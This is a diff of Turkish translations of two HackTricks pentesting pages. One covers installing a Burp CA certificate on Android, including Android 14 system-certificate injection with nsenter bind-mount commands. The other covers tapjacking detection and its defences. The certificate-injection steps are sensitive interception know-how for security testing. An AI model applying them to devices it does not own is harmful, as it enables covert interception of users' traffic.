{% embed url="https://websec.nl/" %} ## Sanal Makinede -İlk olarak, Burp'tan Der sertifikasını indirmeniz gerekmektedir. Bunun için _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ adımlarını izleyebilirsiniz +İlk olarak, Burp'tan Der sertifikasını indirmeniz gerekmektedir. Bunun için _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ adımlarını takip edebilirsiniz ![](<../../.gitbook/assets/image (367).png>) -**Sertifikayı Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim.** **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneğiyle çalıştırmanız gerekmektedir.\ +Sertifikayı **Der formatında dışa aktarın** ve **Android'in anlayabileceği bir forma dönüştürelim.** **AVD'deki Android makinesinde burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneğiyle çalıştırmanız gerekmektedir.\ Örneğin şu şekilde çalıştırabilirsiniz: {% code overflow="wrap" %} @@ -49,23 +49,23 @@ adb reboot #Now, reboot the machine ``` {% endcode %} -**Makine yeniden başlatıldığında**, burp sertifikası tarafından kullanılacaktır! +**Makine yeniden başlatıldığında**, burp sertifikası onun tarafından kullanılacaktır! ## Magisc Kullanımı -Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dosya sistemi salt okunur olduğu için** Burp sertifikasını yüklemek için önceki adımları takip edemiyorsanız, başka bir yol bulunmaktadır. +Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dosya sistemi salt okunur olduğu için yazılabilir olarak yeniden bağlayamıyorsanız**, önceki adımları takip edemezsiniz, Burp sertifikasını yüklemek için başka bir yol bulunmaktadır. -[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi şunları yapmanız gerekmektedir: +[**Bu video**](https://www.youtube.com/watch?v=qQicUW0svB8)da açıklandığı gibi yapmanız gerekenler: -1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza **sürükleyip bırakın** ve İndirilenler klasörüne kaydedin, ardından `Bir sertifika yükle` -> `CA sertifikası` seçeneğine gidin +1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına değiştirerek mobil cihaza **sürükleyip bırakın** ve İndirilenler klasöründe saklanmasını sağlayın, ardından `Bir sertifika yükle` -> `CA sertifikası` seçeneğine gidin
-* Sertifikanın doğru şekilde kaydedildiğini kontrol etmek için `Güvenilir kimlik bilgileri` -> `KULLANICI` bölümüne gidin +* Sertifikanın doğru bir şekilde saklandığını kontrol edin, `Güvenilir kimlik bilgileri` -> `KULLANICI` bölümüne gidin
-2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza **sürükleyip bırakın**, telefonunuzdaki Magics uygulamasına gidin, `Modüller` bölümüne gidin, `Depodan yükle`'yi tıklayın, `.zip` modülünü seçin ve kurulumu tamamladıktan sonra telefonu **yeniden başlatın**: +2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza **sürükleyip bırakın**, telefonunuzdaki Magics uygulamasına gidin, `Modüller` bölümüne gidin, `Depodan yükle` seçeneğine tıklayın, `.zip` modülünü seçin ve kurulumu tamamladıktan sonra telefonu **yeniden başlatın**:
@@ -75,13 +75,13 @@ Eğer cihazınızı Magisc ile rootladıysanız (belki bir emülatör), ve **dos ## Android 14 Sonrası -En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşınmıştır, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir. +En son Android 14 sürümünde, sistem tarafından güvenilen Sertifika Yetkilisi (CA) sertifikalarının işlenişinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşındı, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir. -**APEX cacerts yolunu** yazılabilir olarak yeniden bağlamaya yönelik girişimler başarısızlıkla karşılaşır, çünkü sistem böyle işlemlere izin vermez. Dizin üzerine geçici bir dosya sistemi (tmpfs) ile aşma veya kaldırma girişimleri bile değiştirilemezliği atlatmaz; uygulamalar, dosya sistemi seviyesinde yapılan değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağının ÖZEL yayılma ile yapılandırılmış olmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar. +**APEX cacerts yolunu** yazılabilir olarak yeniden bağlamaya yönelik girişimler başarısızlıkla karşılaşır, çünkü sistem böyle işlemlere izin vermez. Dizin üzerine geçici bir dosya sistemi (tmpfs) ile aşma veya kapatma girişimleri bile, dizinin değiştirilemezliğini atlatmaz; uygulamalar, dosya sistemi seviyesinde yapılan değişikliklere rağmen orijinal sertifika verilerine devam eder. Bu direnç, **`/apex`** bağının ÖZEL yayılma ile yapılandırılmış olmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar. -Android'in başlatılması, işletim sistemini başlatırken aynı zamanda Zygote işlemini başlatan `init` işlemiyle gerçekleşir. Bu işlem, bu dizini diğer işlemlerden izole eden yeni bir bağlama ad alanı ile uygulama işlemlerini başlatmakla sorumludur. +Android'in başlatılması, işletim sistemi başladığında aynı zamanda Zygote işlemini başlatan `init` işlemi ile başlar. Bu işlem, uygulama işlemlerini başlatmakla sorumludur ve yeni bir bağlama ad alanı içeren özel bir **`/apex`** bağını içeren Zygote işlemini başlatır, böylece bu dizindeki değişiklikleri diğer işlemlerden izole eder. -Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i ÖZEL yayılmasını kaldırmak için manuel olarak yeniden bağlamayı içerir, böylece yazılabilir hale getirilir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini salt okunur kısıtlamasını kaldırmak için bağlamayı kaldırmayı ve ardından içeriği orijinal konumuna **`/apex`** içinde geri yüklemeyi içerir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir. +Yine de, **`/apex`** dizinindeki sistem tarafından güvenilen CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i özel yayılmasını kaldırarak yazılabilir hale getirmek için manuel olarak yeniden bağlamayı içerir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini kaldırmayı ve salt okunur kısıtlamasını kaldırmayı ve ardından içeriği orijinal konumlarına **`/apex`** içinde geri yüklemeyi gerektirir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için, `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -141,41 +141,41 @@ echo "System certificate injected" ``` ### NSEnter üzerinden Bind-mounting -1. **Yazılabilir Bir Dizin Oluşturma**: İlk olarak, mevcut olmayan APEX olmayan sistem sertifika dizini üzerine bir `tmpfs` bağlanarak yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komutla gerçekleştirilir: +1. **Yazılabilir Bir Dizin Oluşturma**: İlk olarak, mevcut olmayan APEX olmayan sistem sertifika dizininin üzerine bir `tmpfs` bağlanarak yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komutla gerçekleştirilir: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını gerektirebilir. Bu sertifikaların izinlerini ve SELinux etiketlerini buna göre ayarlamak önemlidir. -3. **Zygote için Bağlama Bağlama**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatma işleminden sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur: +2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, muhtemelen `/apex/com.android.conscrypt/cacerts/` dizininden varsayılan sertifikaların kopyalanmasını içerebilir. Bu sertifikaların izinleri ve SELinux etiketleri uygun şekilde ayarlanmalıdır. +3. **Zygote için Bağlama Bağlama**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatmakla sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -Bu, her yeni uygulamanın güncellenmiş CA sertifikaları kurulumuna uyacağını sağlar. +Bu, her yeni uygulamanın güncellenmiş CA sertifikaları kurulumuna uyacağından emin olur. 4. **Çalışan Uygulamalara Değişiklikler Uygulama**: Zaten çalışan uygulamalara değişiklikleri uygulamak için, `nsenter` tekrar kullanılarak her uygulamanın ad alanına bireysel olarak girilir ve benzer bir bağ montajı gerçekleştirilir. Gerekli komut şudur: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Alternatif Yaklaşım - Yumuşak Yeniden Başlatma**: Alternatif bir yöntem, `init` işlemine (PID 1) bağlama işlemini gerçekleştirmeyi ve işletim sistemini `stop && start` komutlarıyla yumuşak bir şekilde yeniden başlatmayı içerir. Bu yaklaşım, değişikliklerin tüm ad alanlarına yayılmasını sağlayacak ve her çalışan uygulamayı tek tek ele almaya gerek kalmayacaktır. Bununla birlikte, bu yöntem genellikle yeniden başlatmanın rahatsızlığı nedeniyle tercih edilmez. +5. **Alternatif Yaklaşım - Yumuşak Yeniden Başlatma**: Alternatif bir yöntem, `init` işlemine (PID 1) bağlama işlemini gerçekleştirmeyi ve işletim sistemini `stop && start` komutlarıyla yumuşak bir şekilde yeniden başlatmayı içerir. Bu yaklaşım, değişikliklerin tüm ad alanlarına yayılmasını sağlayacak ve her çalışan uygulamayı tek tek ele almaya gerek kalmayacaktır. Bununla birlikte, bu yöntem genellikle yeniden başlatmanın rahatsızlığı nedeniyle tercih edilmemektedir. ## Referanslar * [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) -
+
{% embed url="https://websec.nl/" %}
-Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) arasında +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/mobile-pentesting/android-app-pentesting/tapjacking.md b/mobile-pentesting/android-app-pentesting/tapjacking.md index 5911cce03..3180f92cf 100644 --- a/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -2,43 +2,46 @@
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'ı desteklemenin diğer yolları: -- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -- **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. -- **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **takip edin**. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
{% embed url="https://websec.nl/" %} + ## **Temel Bilgiler** -**Tapjacking**, **kötü niyetli bir uygulamanın** **kurban uygulamanın üzerine yerleştiği** ve kurban uygulamanın kullanıcı arayüzünü yanıltacak şekilde tasarlandığı bir saldırıdır. Kurban uygulamada gerçekleştirilen eylemleri kullanıcının farkında olmadan gerçekleştirmesine neden olur. +**Tapjacking**, **kötü niyetli bir uygulamanın** **kurban uygulamanın üstüne yerleştiği ve konumlandığı** bir saldırıdır. Kurban uygulamayı açıkça engellediğinde, kullanıcı arayüzü kullanıcıyı yanıltacak şekilde tasarlanmıştır ve kullanıcıyı etkileşime girmeye ikna etmeye çalışırken, etkileşimi kurban uygulamaya iletmektedir.\ +Aslında, kullanıcının **kurban uygulamada gerçekten eylemler gerçekleştirdiğini bilmemesine neden olur**. ### Tespit -Bu saldırıya karşı savunmasız uygulamaları tespit etmek için android manifest dosyasında **dışa aktarılan aktiviteleri** aramalısınız (bir intent-filter'a sahip bir aktivite varsayılan olarak dışa aktarılır). Dışa aktarılan aktiviteleri bulduktan sonra, **herhangi bir izin gerekip gerekmediğini kontrol edin**. Çünkü **kötü niyetli uygulama da o izne ihtiyaç duyacaktır**. +Bu saldırıya karşı savunmasız uygulamaları tespit etmek için android manifestte **dışa aktarılan aktiviteleri** aramalısınız (bir intent-filter'a sahip bir aktivite varsayılan olarak otomatik olarak dışa aktarılır). Dışa aktarılan aktiviteleri bulduktan sonra, **herhangi bir izin gerekip gerekmediğini kontrol edin**. Bu, **kötü niyetli uygulamanın da o izne ihtiyaç duyacağı anlamına gelir**. ### Koruma #### Android 12 (API 31,32) ve üstü -[**Bu kaynağa göre**](https://www.geeksforgeeks.org/tapjacking-in-android/), Android 12'den (API 31 ve 30) itibaren tapjacking saldırıları otomatik olarak engellenir. Bu nedenle, uygulama savunmasız olsa bile **saldırmak mümkün olmayacaktır**. +[**Bu kaynağa göre**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** Android 12'den (API 31 ve 30) ve üstünden itibaren tapjacking saldırıları otomatik olarak engellenir. Bu nedenle, uygulama savunmasız olsa bile **onu sömüremeyeceksiniz**. #### `filterTouchesWhenObscured` -**`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandığında, `View` başka bir görünür pencere tarafından kaplandığında dokunmaları almayacaktır. +**`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandığında, `View` başka bir görünür pencere tarafından engellendiğinde dokunmaları almayacaktır. #### **`setFilterTouchesWhenObscured`** -Özellik **`setFilterTouchesWhenObscured`** **true** olarak ayarlandığında, bu zafiyetin sömürülmesini önleyebilir, Android sürümü daha düşükse. Örneğin, bir düğme **kapalıysa otomatik olarak devre dışı bırakılabilir**: +Özellik **`setFilterTouchesWhenObscured`** **true** olarak ayarlandığında, bu zafiyetin sömürülmesini önleyebilir, özellikle Android sürümü daha düşükse.\ +Örneğin **`true`** olarak ayarlandığında, bir düğme otomatik olarak **engellenebilir hale gelir** eğer engellenmişse: ```xml